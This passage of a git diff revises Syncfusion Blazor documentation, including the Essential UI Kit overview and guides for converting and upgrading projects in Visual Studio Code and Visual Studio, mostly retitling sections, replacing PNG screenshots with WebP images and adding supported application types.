+    To view the app in your browser, simply **Ctrl + Click** (or **Cmd + Click** on macOS) on the local host URL displayed in the terminal. This will open the app in your default browser, allowing you to interact with the blocks.
 
-This command will start the local development server, and you'll see an output in the terminal indicating the app is running. Typically, it will display a local host URL like this:
+### Step 4: License Key Requirement
 
-![Terminal output showing the local development server URL](images/local-development-server-running.png)
-
-To view the app in your browser, simply **Ctrl + Click** (or **Cmd + Click** on macOS) on the local host URL displayed in the terminal. This will open the app in your default browser, allowing you to interact with the blocks.
-
-### Step 4: License key requirement
-
-The blocks include several Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components that require an active license key for proper display and usage. To activate the license, refer to the topics below:
+The blocks include several Syncfusion Blazor components that require an active license key for proper display and usage. To activate the license, refer to the topics below:
 
 #### How to Obtain the License Key
-To obtain the license key, visit the following page: [Syncfusion<sup style="font-size:70%">&reg;</sup> License](https://blazor.syncfusion.com/documentation/getting-started/license-key/how-to-generate).
+To obtain the license key, visit the following page: [Syncfusion License](https://blazor.syncfusion.com/documentation/getting-started/license-key/how-to-generate).
 
 #### How to Register the License Key in the App
 Once you have your license key, register it in the Blazor app through any one of the following methods suggested in this [link](https://blazor.syncfusion.com/documentation/getting-started/license-key/how-to-register-in-an-application).
 
 By adding the license key, you ensure seamless browsing and usage of the blocks, making them fully functional and free from licensing issues.
 
-## Get started by viewing the online demo
+## Get Started by Viewing the Online Demo
 
 If you prefer a quick demo instead of downloading the app, you can explore the blocks directly through the online demo. Simply visit the official [Essential UI Kit for Blazor](https://blazor.syncfusion.com/essential-ui-kit) website to interact with the blocks.
diff --git a/blazor/ui-kit/overview.md b/blazor/ui-kit/overview.md
index 03c04d2a70..8ce383f3c6 100644
--- a/blazor/ui-kit/overview.md
+++ b/blazor/ui-kit/overview.md
@@ -1,17 +1,15 @@
 ---
 layout: post
-title: Essential UI Kit for Blazor overview | Syncfusion
-description: Explore the Essential UI Kit for Blazor over 260 ready-to-use blocks built with Razor, CSS, C#, and Blazor components, with Tailwind and Bootstrap support.
+title: Overview of Essential UI Kit for Blazor | Syncfusion
+description: Learn all about the overview of the Essential UI Kit for Blazor in Syncfusion Essential Studio and more here.
 platform: Blazor
-control: UI Kit
+control: UI Kit 
 documentation: ug
 ---
 
-# Essential UI Kit for Blazor overview
+# Overview: Essential UI Kit for Blazor
 
-The Essential UI Kit for Blazor comprises over 260 responsive, ready-to-use, easy-to-implement, and customizable blocks designed to help you quickly build web applications. These blocks are developed using HTML (Razor), CSS, C#, and Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components, delivering robust functionality and ease of use. They are compatible with both Tailwind CSS and Bootstrap 5.3 CSS frameworks, supporting light and dark modes to offer flexibility and seamless integration across different user preferences. The UI kit includes blocks for the following categories:
-
-The UI Kit includes blocks for the following categories:
+The Essential UI Kit for Blazor comprises over 260 responsive, ready-to-use, easy-to-implement, and customizable blocks designed to help you quickly build web applications. These blocks are developed using HTML (Razor), CSS, C#, and Syncfusion Blazor components, delivering robust functionality and ease of use. They are compatible with both Tailwind CSS and Bootstrap 5.3 CSS frameworks, supporting light and dark modes to offer flexibility and seamless integration across different user preferences. The UI kit includes blocks for the following categories:
 
 <table>
   <tr>
@@ -112,20 +110,19 @@ The UI Kit includes blocks for the following categories:
 
 > These provide pre-designed blocks for the quick implementation of web applications. However, customization and the integration of business logic must be handled on your end to meet your specific requirements.
 
-## Supported Blazor versions
-
-The blocks designed and showcased are built using .NET 8, but you can use other versions of Blazor as well, since they are primarily developed with HTML, CSS, and C# to facilitate building your web applications. Additionally, for using Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components, the compatible Blazor and Syncfusion<sup style="font-size:70%">&reg;</sup> versions are outlined in this [link](https://blazor.syncfusion.com/documentation/common/how-to/version-compatibility) for your reference.
+## Supported Blazor Versions
+The blocks designed and showcased are built using .NET 8, but you can use other versions of Blazor as well, since they are primarily developed with HTML, CSS, and C# to facilitate building your web applications. Additionally, for using Syncfusion Blazor components, the compatible Blazor and Syncfusion versions are outlined in this [link](https://blazor.syncfusion.com/documentation/common/how-to/version-compatibility) for your reference.
 
-## Supported browsers
+## Supported Browsers
 
 - Google Chrome
 - Microsoft Edge
 - Safari
 - Mozilla Firefox
 
-## Supported CSS frameworks
+## Supported CSS Frameworks
 
 - Tailwind CSS
 - Bootstrap 5.3
 
-Both **Tailwind CSS** and **Bootstrap 5.3** support **Light** and **Dark** modes, allowing the blocks to adapt to user preferences or system settings for a consistent experience across devices.
+Both **Tailwind CSS** and **Bootstrap 5.3** support **Light** and **Dark** modes, allowing you to seamlessly adapt the blocks to your web applications based on user preferences or system settings. This flexibility ensures a consistent and optimal user experience across different environments and devices.
diff --git a/blazor/visual-studio-code-integration/code-snippet.md b/blazor/visual-studio-code-integration/code-snippet.md
index f3017f3246..ca581c1d3e 100644
--- a/blazor/visual-studio-code-integration/code-snippet.md
+++ b/blazor/visual-studio-code-integration/code-snippet.md
@@ -29,15 +29,15 @@ The following steps describe how to use the Syncfusion<sup style="font-size:70%"
     ```
 4. Select the desired Syncfusion component and press **Enter** or **Tab**. The corresponding component markup is inserted into the Razor file.
 
-    ![Animated demo showing insertion of a Syncfusion Blazor code snippet](images/codesnippet.gif)
+    ![Animated demo showing insertion of a Syncfusion Blazor code snippet](images/codesnippet.webp)
 
 5. After inserting the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor component, use the Tab key to navigate placeholders and provide the required values. Review the inline comments in the snippet to identify which values are required.
 
-    ![Snippet comments highlighting required placeholders](images/Comment.png)
+    ![Snippet comments highlighting required placeholders](images/comment.webp)
 
 6. A Syncfusion<sup style="font-size:70%">&reg;</sup> help link is included at the top of the snippet to learn more about the inserted component or feature.
 
-    ![Help link shown at the top of the inserted snippet](images/Help.png)
+    ![Help link shown at the top of the inserted snippet](images/help.webp)
 
 ## Configure Blazor application with Syncfusion
 
@@ -45,22 +45,22 @@ The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor snippet only inserts
 
 1. Open the Blazor application file and manually add the required Syncfusion® Blazor individual NuGet package(s) for the Syncfusion® Blazor components as a package reference. Refer to [this section](https://blazor.syncfusion.com/documentation/nuget-packages#benefits-of-using-individual-nuget-packages) to learn about the advantages of the individual NuGet packages. This NuGet package will be automatically restored when building the application.
 
-    ![NuGet Package](images/NuGet-Snippet.png)
+    ![NuGet Package](images/nuget-snippet.webp)
 
     N> Starting with Volume 4, 2020 (v18.4.0.30) release, Syncfusion® provides [individual NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) for our Syncfusion® Blazor components. We highly recommend this new standard for your Blazor production applications.
 
 2. To render Syncfusion<sup style="font-size:70%">&reg;</sup> components, open **~/_Imports.razor** and add the required Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor namespace entries.
 
-    ![Namespace](images/Namespace-Snippet.png)
+    ![Namespace](images/namespace-snippet.webp)
 
 3. Add a Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor [theme](https://blazor.syncfusion.com/documentation/appearance/themes) in the `<head>` element of **~/Components/App.razor** for Blazor Web App, in **~/Pages/_Host.cshtml** for Blazor Server, and in **~/wwwroot/index.html** for a Blazor WebAssembly (client) application.
 
-    ![Themes](images/Themes-Snippet.png)
+    ![Themes](images/themes-snippet.webp)
 
 4. Open the relevant **~/Program.cs** file(s) for Web App and server application and client application and register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service.
 
-If the Blazor Web App uses an interactive render mode of `WebAssembly` or `Auto`, register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service in both **~/Program.cs** files of the Blazor Web App.
+    If the Blazor Web App uses an interactive render mode of `WebAssembly` or `Auto`, register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service in both **~/Program.cs** files of the Blazor Web App.
 
-![Registration of the Syncfusion Blazor service](images/Configuration-Snippet.png)
+    ![Registration of the Syncfusion Blazor service](images/configuration-snippet.webp)
 
 5. If you installed the trial setup or NuGet packages from nuget.org you must register the Syncfusion® license key to your application since Syncfusion® introduced the licensing system from 2018 Volume 2 (v16.2.0.41) Essential Studio® release. Navigate to the [help topic](https://help.syncfusion.com/common/essential-studio/licensing/overview#how-to-generate-syncfusion-license-key) to generate and register the Syncfusion® license key to your application. Refer to this [UG](https://blazor.syncfusion.com/documentation/getting-started/license-key/overview) topic for understanding the licensing details in Essential Studio® for Blazor.
\ No newline at end of file
diff --git a/blazor/visual-studio-code-integration/convert-project.md b/blazor/visual-studio-code-integration/convert-project.md
index 9b7ea35d4e..28cfc9e6d7 100644
--- a/blazor/visual-studio-code-integration/convert-project.md
+++ b/blazor/visual-studio-code-integration/convert-project.md
@@ -7,55 +7,61 @@ control: Common
 documentation: ug
 ---
 
-# Converting Blazor Extension for Visual Studio Code
+# Convert a Blazor Project to Syncfusion® Blazor
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor conversion add-in for Visual Studio Code converts an existing Blazor application into a Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor web application by adding the required NuGet packages and themes.
+The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor conversion extension for Visual Studio Code converts an existing Blazor application into a Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Web application by automatically adding required NuGet packages and configuring themes.
 
-N> The Syncfusion® Blazor Web Application Project Conversion utility is available from `v17.4.0.39`.
+## Steps to Convert the Application
 
-Use the following steps to run the Syncfusion<sup style="font-size:70%">&reg;</sup> project conversion in an existing Blazor Web application:
+Use the following steps to convert an existing Blazor application to a Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor application:
 
-1. In Visual Studio Code, open an existing Blazor Web application or create a new Blazor Web application.
+1. In Visual Studio Code, open an existing Blazor application or create a new Blazor application.
 
-2. In Explorer (Workspace), right-click the project file and select **Convert to Syncfusion Blazor Application...** from the context menu. Refer the screenshot below.
+   Supported application types:
+   - Blazor Web App (Server or WebAssembly rendering)
+   - Blazor Server App
+   - Blazor WebAssembly App (standalone or ASP.NET Core hosted)
+   - Blazor WebAssembly App (Progressive Web Application)
 
-    ![Context menu showing Convert to Syncfusion Blazor Application command](images/Conversion.PNG)
+2. In the Explorer panel, right-click the project file (`.csproj`) and select **Convert to Syncfusion Blazor App...** from the context menu.
 
-3. From the Command Palette, choose **Select Blazor Version** (version published on `nuget.org`).
+    ![Context menu showing Convert to Syncfusion Blazor Application option](images/conversion.webp)
 
-    ![Palette showing selection of Blazor version](images/VersionSelection.PNG)
+3. In the Command Palette, select **Select Blazor Version** and choose the desired Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor version from the dropdown list (displays versions available on `nuget.org`).
 
-4. From the palette, choose the desired Syncfusion theme.
+    ![Command Palette showing Blazor version selection](images/versionselection.webp)
 
-    ![Palette showing selection of Syncfusion themes](images/ChooseThemes.PNG)
+4. After version selection, the Command Palette will display available themes. Select the preferred theme (e.g., Material, Bootstrap, Tailwind, Fluent and HighContrast).
 
-5. The application is configured with the required Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor NuGet packages and themes.
+    ![Command Palette showing theme selection options](images/choosethemes.webp)
 
-6. If you installed the trial setup or NuGet packages from nuget.org you must register the Syncfusion® license key to your application since Syncfusion® introduced the licensing system from 2018 Volume 2 (v16.2.0.41) Essential Studio® release. Navigate to the [help topic](https://help.syncfusion.com/common/essential-studio/licensing/overview#how-to-generate-syncfusion-license-key) to generate and register the Syncfusion® license key to your application. Refer to this [UG](https://blazor.syncfusion.com/documentation/getting-started/license-key/overview) topic for understanding the licensing details in Essential Studio® for Blazor.
+   N> The conversion process will run automatically. This may take a few moments as NuGet packages are downloaded and the project is configured.
+
+5. After conversion completes, the application is configured with the required Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor NuGet packages and the selected theme stylesheet.
+
+6. If the trial setup or NuGet packages from `nuget.org`, register the Syncfusion® license key in the application. Syncfusion® introduced the licensing system in the 2018 Volume 2 (v16.2.0.41) Essential Studio® release. Navigate to the [help topic](https://help.syncfusion.com/common/essential-studio/licensing/overview#how-to-generate-syncfusion-license-key) to generate and register the Syncfusion® license key to the application. Refer to this [UG](https://blazor.syncfusion.com/documentation/getting-started/license-key/overview) topic for understanding the licensing details in Essential Studio® for Blazor.
 
 ## NuGet Packages
 
-Based on the application type, the following NuGet packages are added as dependencies.
+During conversion, the required NuGet packages are automatically added to the application based on the application type.
 
-| Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor NuGet packages  | Application type  |
-|---|---|
-| `Syncfusion.Blazor`  | Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Web App <br/> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Server App <br/> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor WebAssembly App <br/> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor WebAssembly App (ASPNET Core hosted) <br/> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor WebAssembly App (Progressive Web Application)|
-| `Syncfusion.Blazor.PdfViewerServer.Windows`  | Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Server App  |
-| `Syncfusion.Blazor.WordProcessor`  | Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Server App <br/> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor WebAssembly App <br/> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor WebAssembly App (ASPNET Core hosted) <br/> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor WebAssembly App (Progressive Web Application)|
+| NuGet Packages | Application Types |
+|---------|---------|
+| `Syncfusion.Blazor` | Blazor Web App (Server or WebAssembly),  <br/> Blazor WebAssembly App (all variants) |
 
-The packages are added to the application as shown below.
+The packages are added to the application's `.csproj` file as shown below:
 
-![Project file showing Syncfusion NuGet package references](images/NuGetPackage.png)
+![Project file showing Syncfusion NuGet package references](images/nugetpackage.webp)
 
-## Theme links
+## Theme Configuration
 
-During conversion, the selected Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor theme is added in the following locations based on the application type.
+During conversion, the selected Syncfusion<sup style="font-size:70%">&reg;</sup> theme stylesheet is automatically added in the following locations based on the application type.
 
-| Application type  | File location  |
+| Application Type | Theme File Location |
 |---|---|
-| Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Web App | ~/Components/App.razor |
-| Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Server App | {Project location}/Pages/_Host.cshtml |
-| Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor WebAssembly App (ASPNET Core hosted) <br/> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor WebAssembly App (Progressive Web Application)| {Client Project location}/wwwroot/index.html  |
-| Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor WebAssembly App  | {Project location}/wwwroot/index.html|
+| Blazor Web App (Server or WebAssembly) | `Components/App.razor` |
+| Blazor WebAssembly (standalone) | `wwwroot/index.html` |
+| Blazor WebAssembly (ASP.NET Core hosted) | **Client project:** `wwwroot/index.html` |
+| Blazor WebAssembly (Progressive Web Application) | `wwwroot/index.html` |
 
-![Example showing where the theme link is added in the project](images/CDNLink.png)
+![Example showing where the theme link is added in the project](images/cdnlink.webp)
diff --git a/blazor/visual-studio-code-integration/images/CDNLink.png b/blazor/visual-studio-code-integration/images/CDNLink.png
deleted file mode 100644
index cb7f765ce3..0000000000
Binary files a/blazor/visual-studio-code-integration/images/CDNLink.png and /dev/null differ
diff --git a/blazor/visual-studio-code-integration/images/ChooseThemes.PNG b/blazor/visual-studio-code-integration/images/ChooseThemes.PNG
deleted file mode 100644
index 2d1531fa28..0000000000
Binary files a/blazor/visual-studio-code-integration/images/ChooseThemes.PNG and /dev/null differ
diff --git a/blazor/visual-studio-code-integration/images/ChooseThemes.webp b/blazor/visual-studio-code-integration/images/ChooseThemes.webp
new file mode 100644
index 0000000000..8d8f4a9e59
Binary files /dev/null and b/blazor/visual-studio-code-integration/images/ChooseThemes.webp differ
diff --git a/blazor/visual-studio-code-integration/images/Comment.png b/blazor/visual-studio-code-integration/images/Comment.png
deleted file mode 100644
index 1c61fc9cf1..0000000000
Binary files a/blazor/visual-studio-code-integration/images/Comment.png and /dev/null differ
diff --git a/blazor/visual-studio-code-integration/images/Configuration-Snippet.png b/blazor/visual-studio-code-integration/images/Configuration-Snippet.png
deleted file mode 100644
index 0f7df23c99..0000000000
Binary files a/blazor/visual-studio-code-integration/images/Configuration-Snippet.png and /dev/null differ
diff --git a/blazor/visual-studio-code-integration/images/Conversion.PNG b/blazor/visual-studio-code-integration/images/Conversion.PNG
deleted file mode 100644
index d4409d3398..0000000000
Binary files a/blazor/visual-studio-code-integration/images/Conversion.PNG and /dev/null differ
diff --git a/blazor/visual-studio-code-integration/images/Help.png b/blazor/visual-studio-code-integration/images/Help.png
deleted file mode 100644
index 6b0480ad34..0000000000
Binary files a/blazor/visual-studio-code-integration/images/Help.png and /dev/null differ
diff --git a/blazor/visual-studio-code-integration/images/Migration.PNG b/blazor/visual-studio-code-integration/images/Migration.PNG
deleted file mode 100644
index 11ab170f82..0000000000
Binary files a/blazor/visual-studio-code-integration/images/Migration.PNG and /dev/null differ
diff --git a/blazor/visual-studio-code-integration/images/Namespace-Snippet.png b/blazor/visual-studio-code-integration/images/Namespace-Snippet.png
deleted file mode 100644
index 117f4c0bb8..0000000000
Binary files a/blazor/visual-studio-code-integration/images/Namespace-Snippet.png and /dev/null differ
diff --git a/blazor/visual-studio-code-integration/images/NuGet-Snippet.png b/blazor/visual-studio-code-integration/images/NuGet-Snippet.png
deleted file mode 100644
index b2880fc4f0..0000000000
Binary files a/blazor/visual-studio-code-integration/images/NuGet-Snippet.png and /dev/null differ
diff --git a/blazor/visual-studio-code-integration/images/NuGetPackage.png b/blazor/visual-studio-code-integration/images/NuGetPackage.png
deleted file mode 100644
index 2b3787ab3b..0000000000
Binary files a/blazor/visual-studio-code-integration/images/NuGetPackage.png and /dev/null differ
diff --git a/blazor/visual-studio-code-integration/images/Themes-Snippet.png b/blazor/visual-studio-code-integration/images/Themes-Snippet.png
deleted file mode 100644
index b64e2a9ee9..0000000000
Binary files a/blazor/visual-studio-code-integration/images/Themes-Snippet.png and /dev/null differ
diff --git a/blazor/visual-studio-code-integration/images/VersionSelection.PNG b/blazor/visual-studio-code-integration/images/VersionSelection.PNG
deleted file mode 100644
index c1e6b23350..0000000000
Binary files a/blazor/visual-studio-code-integration/images/VersionSelection.PNG and /dev/null differ
diff --git a/blazor/visual-studio-code-integration/images/cdnlink.webp b/blazor/visual-studio-code-integration/images/cdnlink.webp
new file mode 100644
index 0000000000..d0dd95fb52
Binary files /dev/null and b/blazor/visual-studio-code-integration/images/cdnlink.webp differ
diff --git a/blazor/visual-studio-code-integration/images/codesnippet.gif b/blazor/visual-studio-code-integration/images/codesnippet.gif
deleted file mode 100644
index 543b308a15..0000000000
Binary files a/blazor/visual-studio-code-integration/images/codesnippet.gif and /dev/null differ
diff --git a/blazor/visual-studio-code-integration/images/codesnippet.webp b/blazor/visual-studio-code-integration/images/codesnippet.webp
new file mode 100644
index 0000000000..b499e314bc
Binary files /dev/null and b/blazor/visual-studio-code-integration/images/codesnippet.webp differ
diff --git a/blazor/visual-studio-code-integration/images/comment.webp b/blazor/visual-studio-code-integration/images/comment.webp
new file mode 100644
index 0000000000..c40a4e9a54
Binary files /dev/null and b/blazor/visual-studio-code-integration/images/comment.webp differ
diff --git a/blazor/visual-studio-code-integration/images/configuration-snippet.webp b/blazor/visual-studio-code-integration/images/configuration-snippet.webp
new file mode 100644
index 0000000000..6bcef7c4cf
Binary files /dev/null and b/blazor/visual-studio-code-integration/images/configuration-snippet.webp differ
diff --git a/blazor/visual-studio-code-integration/images/conversion.webp b/blazor/visual-studio-code-integration/images/conversion.webp
new file mode 100644
index 0000000000..b10daf0009
Binary files /dev/null and b/blazor/visual-studio-code-integration/images/conversion.webp differ
diff --git a/blazor/visual-studio-code-integration/images/help.webp b/blazor/visual-studio-code-integration/images/help.webp
new file mode 100644
index 0000000000..66fb0e247a
Binary files /dev/null and b/blazor/visual-studio-code-integration/images/help.webp differ
diff --git a/blazor/visual-studio-code-integration/images/migration.webp b/blazor/visual-studio-code-integration/images/migration.webp
new file mode 100644
index 0000000000..73c324cfce
Binary files /dev/null and b/blazor/visual-studio-code-integration/images/migration.webp differ
diff --git a/blazor/visual-studio-code-integration/images/namespace-snippet.webp b/blazor/visual-studio-code-integration/images/namespace-snippet.webp
new file mode 100644
index 0000000000..1e9753a9df
Binary files /dev/null and b/blazor/visual-studio-code-integration/images/namespace-snippet.webp differ
diff --git a/blazor/visual-studio-code-integration/images/nuget-snippet.webp b/blazor/visual-studio-code-integration/images/nuget-snippet.webp
new file mode 100644
index 0000000000..ddf66a7340
Binary files /dev/null and b/blazor/visual-studio-code-integration/images/nuget-snippet.webp differ
diff --git a/blazor/visual-studio-code-integration/images/nugetpackage.webp b/blazor/visual-studio-code-integration/images/nugetpackage.webp
new file mode 100644
index 0000000000..8fd6b51721
Binary files /dev/null and b/blazor/visual-studio-code-integration/images/nugetpackage.webp differ
diff --git a/blazor/visual-studio-code-integration/images/themes-snippet.webp b/blazor/visual-studio-code-integration/images/themes-snippet.webp
new file mode 100644
index 0000000000..8a56b0f11d
Binary files /dev/null and b/blazor/visual-studio-code-integration/images/themes-snippet.webp differ
diff --git a/blazor/visual-studio-code-integration/images/versionselection.webp b/blazor/visual-studio-code-integration/images/versionselection.webp
new file mode 100644
index 0000000000..39bc246b3d
Binary files /dev/null and b/blazor/visual-studio-code-integration/images/versionselection.webp differ
diff --git a/blazor/visual-studio-code-integration/upgrade-project.md b/blazor/visual-studio-code-integration/upgrade-project.md
index 60bb491d4b..07019fb650 100644
--- a/blazor/visual-studio-code-integration/upgrade-project.md
+++ b/blazor/visual-studio-code-integration/upgrade-project.md
@@ -7,30 +7,32 @@ control: Common
 documentation: ug
 ---
 
-# Upgrading Syncfusion® Blazor application to new version
+# Upgrade a Project to the latest Syncfusion® Version
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor migration add-in for Visual Studio Code enables upgrading an existing Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor web application from one Essential Studio<sup style="font-size:70%">&reg;</sup> version to another.
+The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor migration extension for Visual Studio Code enables upgrading an existing Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor application to a newer Essential Studio<sup style="font-size:70%">&reg;</sup> release by updating NuGet package references and theme links automatically.
 
-N> The Syncfusion Blazor Web Application project migration utility is available from version `v17.4.0.39`.
+## Steps to migrate the project
 
-Use the following steps to migrate an existing Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Web Application.
+1. in Visual Studio Code, open an existing Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor application or create a new Blazor application.
 
-1. In Visual Studio Code, open an existing Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Web Application or create a new one.
+   Supported application types:
+   - Blazor Web App (Server or WebAssembly rendering)
+   - Blazor Server App
+   - Blazor WebAssembly App (standalone or ASP.NET Core hosted)
+   - Blazor WebAssembly App (Progressive Web Application)
 
-2. In Explorer (Workspace), right-click the project file and select **Migrate Syncfusion® Blazor Application to another version...** from the context menu. Refer to the screenshot below.
+2. In the Explorer panel, right-click the project file (`.csproj`) and select **Migrate Syncfusion Blazor Application to another version** from the context menu.
 
-    ![Context menu showing Migrate Syncfusion Blazor Application command](images/Migration.PNG)
+    ![Context menu showing Migrate Syncfusion Blazor Application option](images/migration.webp)
 
-    N> The Migration option is available only when the application already references Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor packages.
+    N> The Migration option becomes available only after the project references the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor NuGet packages.
 
-3. From the Command Palette, choose **Select Blazor Version** and pick the required Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor package version published on `nuget.org`.
+3. In the Command Palette, select **Select Blazor Version** and choose the desired Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor version from the list (displays versions available on `nuget.org`).
 
-    ![Palette showing selection of Syncfusion Blazor version](images/VersionSelection.PNG)
+    ![Command Palette showing Syncfusion version selection](images/versionselection.webp)
 
-4. The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor NuGet package references and theme links are updated to the selected version in the application.
+4. After conversion completes, the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor NuGet package references is updated to the selected version in the application.
 
-    ![Project file updated with new Syncfusion NuGet package versions](images/NuGetPackage.png)
+    ![Project file updated with Syncfusion NuGet package references](images/nuGetpackage.webp)
 
-    ![Theme link updated to the selected version](images/CDNLink.png)
-
-5. If you installed the trial setup or NuGet packages from nuget.org you must register the Syncfusion® license key to your application since Syncfusion® introduced the licensing system from 2018 Volume 2 (v16.2.0.41) Essential Studio® release. Navigate to the [help topic](https://help.syncfusion.com/common/essential-studio/licensing/overview#how-to-generate-syncfusion-license-key) to generate and register the Syncfusion® license key to your application. Refer to this [UG](https://blazor.syncfusion.com/documentation/getting-started/license-key/overview) topic for understanding the licensing details in Essential Studio® for Blazor.
\ No newline at end of file
+5. If the trial setup or NuGet packages from `nuget.org`, register the Syncfusion® license key in the application. Syncfusion® introduced the licensing system in the 2018 Volume 2 (v16.2.0.41) Essential Studio® release. Navigate to the [help topic](https://help.syncfusion.com/common/essential-studio/licensing/overview#how-to-generate-syncfusion-license-key) to generate and register the Syncfusion® license key to the application. Refer to this [UG](https://blazor.syncfusion.com/documentation/getting-started/license-key/overview) topic for understanding the licensing details in Essential Studio® for Blazor.
\ No newline at end of file
diff --git a/blazor/visual-studio-integration/code-generator.md b/blazor/visual-studio-integration/code-generator.md
index c7c4b2935c..1a29e2ee24 100644
--- a/blazor/visual-studio-integration/code-generator.md
+++ b/blazor/visual-studio-integration/code-generator.md
@@ -11,11 +11,11 @@ documentation: ug
 
 Syncfusion® provides a Code Generator component for the Blazor platform, allowing you to quickly insert component code into the desired location within a Razor file. The Syncfusion® extension automatically adds the necessary Syncfusion® components along with the required namespaces, styles, and NuGet references. The Code Generator is a simple wizard that interacts with data models and integrates Syncfusion® components with the required features into your application.
 
-Use the following steps to add Syncfusion<sup style="font-size:70%">&reg;</sup> components to a Blazor application in **Visual Studio 2022**:
+Use the following steps to add Syncfusion<sup style="font-size:70%">&reg;</sup> components to a Blazor application in either **Visual Studio 2022** or **Visual Studio 2026**:
 
 N> Before using the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Code Generator, verify that the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor extension is installed in Visual Studio (Extensions -> Manage Extensions -> Installed). If it is not installed, follow the steps in the [download and installation](download-and-installation) topic.
 
-1. Open an existing Blazor application or create a new one in Visual Studio 2022.
+1. Open an existing Blazor application or create a new Blazor application in either Visual Studio 2022 or Visual Studio 2026.
 
 2. To open the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Code Generator wizard from a Razor file, use one of the following options:
 
diff --git a/blazor/visual-studio-integration/convert-project.md b/blazor/visual-studio-integration/convert-project.md
index 1ef92b4d70..54ad437e3a 100644
--- a/blazor/visual-studio-integration/convert-project.md
+++ b/blazor/visual-studio-integration/convert-project.md
@@ -7,15 +7,23 @@ control: Common
 documentation: ug
 ---
 
-# Converting Blazor application to Syncfusion® Blazor application
+# Convert a Blazor Application to Syncfusion® Blazor
 
-The Syncfusion® Blazor conversion is a Visual Studio add-in that transforms an existing Blazor application into a Syncfusion® Blazor application by installing the required NuGet packages and adding the corresponding theme styles to the layout.
+The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor conversion is a **Visual Studio** add-in that converts an existing Blazor application into a Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor application by installing the required NuGet packages and adding the selected theme stylesheet to the project layout.
 
-The steps below describe how to convert a Blazor application to a Syncfusion® Blazor application using Visual Studio 2022.
+## Steps to Convert the Application
 
-N> Before using the Syncfusion® Blazor Project Conversion, verify that the Syncfusion® Blazor Template Studio extension is installed in Visual Studio (Extensions -> Manage Extensions -> Installed). If the extension is not installed, install it by following the instructions in the [download and installation](download-and-installation) help topic.
+Use the following steps to convert an existing Blazor application to a Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor application in **Visual Studio 2022** or **Visual Studio 2026**:
 
-1. Open the existing Blazor application or create a new Blazor application in Visual Studio 2022.
+N> Before using the Syncfusion® Blazor Project Conversion, verify that the Syncfusion® Blazor Template Studio extension is installed in Visual Studio (Extensions -> Manage Extensions -> Installed). If the extension is not installed, install it by following the instructions in the [download and installation](https://blazor.syncfusion.com/documentation/visual-studio-integration/download-and-installation) help topic.
+
+1. Open the existing Blazor application or create a new Blazor application in **Visual Studio 2022** or **Visual Studio 2026**.
+
+    Supported application types:
+    - Blazor Web App (Server or WebAssembly rendering)
+    - Blazor Server App
+    - Blazor WebAssembly App (standalone or ASP.NET Core hosted)
+    - Blazor WebAssembly App (Progressive Web Application)
 
 2. Open the Syncfusion® Project Conversion wizard using one of the following options:
 
@@ -27,26 +35,26 @@ N> Before using the Syncfusion® Blazor Project Conversion, verify that the Sync
 
     **Option 2:**
 
-    In **Solution Explorer**, right-click the project, select **Syncfusion® Blazor**, and then choose **Convert to Syncfusion® Blazor application...**
+    In Solution Explorer, right-click the project, select **Syncfusion® Blazor**, then choose **Convert to Syncfusion® Blazor application...**
 
     ![Open Convert Project from the Solution Explorer context menu](images/ConversionAddin.png)
 
-3. In the Syncfusion® Blazor Project Conversion window, select the required Syncfusion® Blazor version and theme to apply to the application.
+3. In the Syncfusion® Blazor Project Conversion window, select the desired Syncfusion® Blazor version and the preferred theme to apply to the application.
 
-    ![Syncfusion Blazor Project Conversion wizard with version and theme selection](images/Conversion.png)
+     ![Syncfusion Blazor Project Conversion wizard with version and theme selection](images/Conversion.png)
 
